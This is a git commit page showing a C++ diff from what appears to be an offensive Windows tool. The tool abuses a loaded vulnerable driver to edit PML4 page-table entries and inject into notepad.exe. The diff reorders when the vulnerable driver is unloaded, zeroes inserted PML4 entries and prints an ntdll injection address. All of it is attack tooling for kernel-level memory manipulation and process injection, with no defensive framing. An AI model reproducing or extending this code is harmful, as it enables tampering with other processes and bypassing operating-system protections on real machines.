updated nasa-tables in this project

master
xerox 4 years ago
parent aa49224f52
commit cb4e604d70

@ -16,7 +16,9 @@ namespace nasa
// zero inserted pml4e's... // zero inserted pml4e's...
for (const auto [real_idx, inserted_idx] : this->pml4_index_map) for (const auto [real_idx, inserted_idx] : this->pml4_index_map)
pml4[inserted_idx] = {}; pml4[inserted_idx] = pml4e{ NULL };
while (!SwitchToThread());
} }
bool injector_ctx::init() const bool injector_ctx::init() const

@ -16,6 +16,13 @@ int __cdecl main(int argc, char** argv)
nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe")); nasa::mem_ctx notepad_proc(vdm, util::get_pid("notepad.exe"));
nasa::injector_ctx injector(&my_proc, &notepad_proc); nasa::injector_ctx injector(&my_proc, &notepad_proc);
// driver no longer needs to be loaded since paging tables are all setup :^)
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
if (!injector.init()) if (!injector.init())
{ {
std::printf("[!] failed to init injector_ctx...\n"); std::printf("[!] failed to init injector_ctx...\n");
@ -31,12 +38,6 @@ int __cdecl main(int argc, char** argv)
std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr); std::printf("[+] ntdll reverse inject address -> 0x%p\n", ntdll_inject_addr);
std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr); std::printf("[+] ntdll MZ -> 0x%x\n", *(short*)ntdll_inject_addr);
if (!vdm::unload_drv(drv_handle, drv_key))
{
std::printf("[!] unable to unload vulnerable driver...\n");
return -1;
}
std::printf("[+] press any key to close...\n"); std::printf("[+] press any key to close...\n");
std::getchar(); std::getchar();
} }

@ -76,9 +76,8 @@ namespace nasa
mem_ctx::~mem_ctx() mem_ctx::~mem_ctx()
{ {
// remove pml4e set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, pml4e{NULL});
pml4e null_value{ NULL }; while (!SwitchToThread());
set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, null_value, true);
} }
void* mem_ctx::set_page(void* addr) void* mem_ctx::set_page(void* addr)

Loading…
Cancel
Save